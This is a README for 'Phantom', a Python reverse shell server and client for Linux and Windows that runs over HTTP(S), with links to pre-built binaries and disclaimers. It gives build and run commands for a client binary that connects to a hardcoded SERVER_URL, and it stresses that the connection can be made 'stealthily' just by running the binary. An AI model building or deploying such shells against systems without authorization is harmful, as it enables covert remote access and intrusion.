BCA-Phantom

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A multi-platform HTTP(S) Reverse Shell Server and Client in Python 3

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# Phantom - A multi-platform HTTP(S) Reverse Shell Server and Client

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Phantom is a **multi-platform HTTP(S) Reverse Shell** server and client in Python 3. Binaries for
Linux and Windows platforms can be built through an embedded script that executes 
PyInstaller.

Reverse shells can be established through HTTP or HTTPS. The certificates used for 
HTTPS can be auto-generated by Phantom or supplied by the user.

Phantom includes a helper shell script that enables fast generation of
self-signed certificates for use of both servers and clients. After generation, the
server and certificate authority certificates required for encrypted connections 
are bundled in the binaries for portability and ease of execution.

## Demo
![demo](https://github.com/EONRaider/static/blob/70ea04684f47e1314a95152a290d1e1d137784cd/phantom/usage.gif)

## Try it out!
Simply head over to the [dist directory](https://github.com/EONRaider/BCA-Phantom/tree/master/dist) 
and download the pre-built Linux/Unix or Windows binaries.

The HTTP client files are set to connect to http://localhost:8080, whereas the HTTPS client bundles a CA certificate file for https://localhost:4443 and will
only connect to this socket. With that in mind, choose either HTTP or HTTPS and run the server on one shell:
```shell
./linux_server http://localhost:8080
            <-- or -->
./linux_server https://localhost:4443
```
And the client on another one...
```shell
./http_linux_client
     <-- or -->
./https_linux_client
```
The same procedure works for the Windows binaries.

## Setup
### HTTP Server and Client
*You don't need to set up the server and client for HTTP connections.* The server will 
work straight out-of-the-box and the client will connect to any HTTP server. Just [download 
the HTTP binaries from dist](https://github.com/EONRaider/BCA-Phantom/tree/master/dist) 
and you're done. Execute the binaries with the `--help` option for instructions.

### HTTPS Server and Client
Encrypted communication through HTTPS requires at least two certificates: One for 
the server, named `server.pem` by default, and another for the certificate authority, or `ca.pem`. 
Phantom bundles both files in binaries for fast deployment. They can be 
generated by [multiple methods](https://www.digitalocean.com/community/tutorials/openssl-essentials-working-with-ssl-certificates-private-keys-and-csrs) 
or by a simple execution of the [generate_certs.sh](https://github.com/EONRaider/BCA-Phantom/blob/master/src/generate_certs.sh) helper script.

Once the certificates are ready you only need to follow the steps from the Build and Run
section below.

## Build and Run an HTTPS Server/Client
### I. Install Dependencies
Dependency management works with both [Poetry](https://python-poetry.org/) (recommended)
and [Virtualenv](https://virtualenv.pypa.io/en/latest/). You need to install all 
dependencies before building binaries.
```shell
git clone https://github.com/EONRaider/BCA-Phantom.git
cd BCA-Phantom
poetry install <--or--> pip install -r requirements.txt
```

### II. Build HTTPS Server and Client binaries
The `build.py` file centralizes the process and takes care of it all. Notice that 
a built Client binary contains a *hardcoded server URL*. **The connection to the server can 
be stealthily performed by simply executing the binary.**
- Build and run the **Server**
    ```shell
    python build.py server --server-cert /path/to/server.pem
    ./linux_server SERVER_URL
    ```
- Build and run the **Client**
  ```shell
  python build.py client --url SERVER_URL --ca-cert /path/to/ca.pem
  ./https_linux_client
  ```
The same procedure works for the Windows binaries.

## Legal Disclaimer
The use of code contained in this repository, either in part or in its totality,
for engaging targets without prior mutual consent is illegal. **It is
the end user's responsibility to obey all applicable local, state and
federal laws.**

Developers assume **no liability** and are not
responsible for misuses or damages caused by any code contained
in this repository in any event that, accidentally or otherwise, it comes to
be utilized by a threat agent or unauthorized entity as a means to compromise
the security, privacy, confidentiality, integrity, and/or availability of
systems and their associated resources. In this context the term "compromise" is
henceforth understood as the leverage of exploitation of known or unknown vulnerabilities
present in said systems, including, but not limited to, the implementation of
security controls, human- or electronically-enabled.

The use of this code is **only** endorsed by the developers in those
circumstances directly related to **educational environments** or
**authorized penetration testing engagements** whose declared purpose is that
of finding and mitigating vulnerabilities in systems, limiting their exposure
to compromises and exploits employed by malicious agents as defined in their
respective threat models.

BCA-Phantom

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